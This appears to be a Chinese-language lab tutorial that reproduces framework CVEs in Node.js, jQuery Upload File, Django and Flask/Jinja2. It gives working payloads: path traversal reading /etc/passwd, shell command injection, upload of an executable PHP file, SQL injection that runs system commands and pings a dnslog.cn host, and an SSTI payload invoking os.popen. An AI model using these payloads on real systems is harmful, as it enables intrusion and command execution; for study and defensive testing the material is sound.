什么是框架?
就是别人写好包装起来的一套工具,把你原先必须要写的,必须要做的一些复杂的东西都写好了放在那里,你只要调用他的方法,就可以实现一些本来要费好大劲的功能。
如果网站的功能是采用框架开发的,那么挖掘功能的漏洞就相当于在挖掘框架自身的漏洞。如果框架产生漏洞也会对使用框架的网站产生影响。
常见语言开发框架:
PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
JAVA:Spring MyBatis Hibernate Struts2 Springboot等
Python:Django Flask Bottle Turbobars Tornado Web2py等
Javascript:Vue.js Node.js Bootstrap JQuery Angular等
框架:javascript---Node.js
Node.js是一个基于Chrome V8引擎的JavaScript运行环境,用于方便的搭建响应速度快、易于拓展的网络应用。
漏洞复现:Node.js 目录穿越漏洞(CVE-2017-14849)
描述:Node.js 8.6.0之前的8.5.0版本中存在安全漏洞。远程攻击者可利用该漏洞访问敏感文件。
使用vulfocus靶场启动环境复现
启动环境
burp抓取数据包
添加请求路径:/static/../../../a/../../../../etc/passwd 成功获取敏感信息
漏洞复现:CVE-2021-21315 NodeJs命令注入漏洞
描述:Node.js-systeminformation是用于获取各种信息的Node.js模块,在存在命令注入漏洞的版本中,攻击者可以通过未过滤的参数注入payload执行系统命令。
影响版本:Systeminformation < 5.3.1
漏洞环境:https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC.git
解压poc,进入poc目录。执行:node index.js 启动环境
如果提示:
Command 'node' not found, but can be installed with:
apt install nodejs
根据提示执行命令:apt install nodejs 安装nodejs即可
安装nodejs完成,再次执行node index.js
环境成功启动,访问 本机地址:8000 进入
访问路径:/api/getServices?name[]=$(echo -e 'xiaoheizi' > test.txt)
目录下成功生成一个内容为 'xiaoheizi' 的 test.txt文件
框架:javascript---jQuery
描述: jQuery是一个快速、简洁的JavaScript框架,是继Prototype之后又一个优秀的JavaScript代码库(框架)于2006年1月由John Resig发布。
漏洞复现:jquery 文件上传 (CVE-2018-9207)
漏洞版本:jQuery Upload File <= 4.0.2 中的任意文件上传
使用vulfocus靶场启动环境
根据环境提示得知上传根目录/jquery-upload-file 。实战中可能需要抓包分析来获取目录信息
来到如下图的路径下,看到只有一个Parent Directory
在桌面创建一个php.php文件,内容为:<?php phpinfo();?>
打开桌面的cmd命令行
执行命令:curl -F "myfile=@上传的文件名" "http://目标IP:端口/jquery-upload-file/php/upload.php"
再次来到/jquery-upload-file/php/uploads路径,看到成功上传php.php文件
访问php.php文件,成功执行命令
框架:python---Django
描述:Django是一款广为流行的开源web框架,由Python编写,许多网站和app都基于Django开发。Django采用了MTV的框架模式,即模型M,视图V和模版T,使用Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且Django还包含许多功能强大的第三方插件,使得Django具有较强的可扩展性。
漏洞复现:Django SQL注入 (CVE-2022-28346)
使用vulfocus靶场,启动环境
1.进入后台
访问/admin进入后台,由于是靶场所以不需要输入密码
2.判断漏洞是否存在
访问:/admin/vuln/collection/?detail__a'b=123 报错说明漏洞存在
3.创建cmd_exec
访问:/admin/vuln/collection/?detail__title')='1' or 1=1 ;create table cmd_exec(cmd_output text)-- 报错为:no results to fetch 说明创建成功
4.使用dnslog平台检测是否可以执行命令,dnslog平台:dnslog.cn
获取dns解析地址
5.调用cmd_exec执行命令:
访问:/admin/vuln/collection/?detail__title')='1' or 1=1 ;copy cmd_exec FROM PROGRAM 'ping c6fbxo.dnslog.cn'-- 执行命令
dnslog平台成功检测到解析记录,命令执行成功
框架:python---Flask
描述:Flask是一个使用Python编写的轻量级Web应用框架。其WSGI工具箱采用Werkzeug ,模板引擎则使用Jinja2
漏洞复现:Jinja2 SSTI模板注入
使用vulhub靶场,启动环境
先进入容器看一下web服务的代码,得出参数值为name,且可控
判断是否存在ssti漏洞,输入:?name={{1*9}},被执行则漏洞存在
用jinja的语法写一个执行命令的代码:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
执行命令用法:修改代码中popen("要执行的命令"),
将代码进行url编码:
访问:http://目标ip:8000/?name={% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %} {% for b in c.__init__.__globals__.values() %} {% if b.__class__ == {}.__class__ %} {% if 'eval' in b.keys() %} {{ b['eval']('__import__("os").popen("id").read()') }} {% endif %} {% endif %} {% endfor %} {% endif %} {% endfor %}
执行命令”id“,访问url,命令成功执行:
修改url中要执行的命令为whoami,访问成功执行